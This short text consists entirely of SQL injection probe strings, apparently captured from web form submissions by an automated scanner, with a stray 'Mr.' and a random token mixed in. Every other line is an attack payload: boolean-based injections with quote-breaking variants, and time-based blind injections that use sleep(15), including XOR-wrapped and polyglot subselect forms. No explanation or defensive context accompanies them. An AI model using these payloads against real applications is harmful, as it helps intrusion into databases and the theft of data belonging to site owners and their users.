Mr.

-1 OR 2+471-471-1=0+0+0+1 --

-1 OR 2+583-583-1=0+0+0+1

-1' OR 2+948-948-1=0+0+0+1 --

-1' OR 2+259-259-1=0+0+0+1 or '54UvKxgv'='

-1" OR 2+593-593-1=0+0+0+1 --

if(now()=sysdate(),sleep(15),0)

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

pW7oDl3h

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/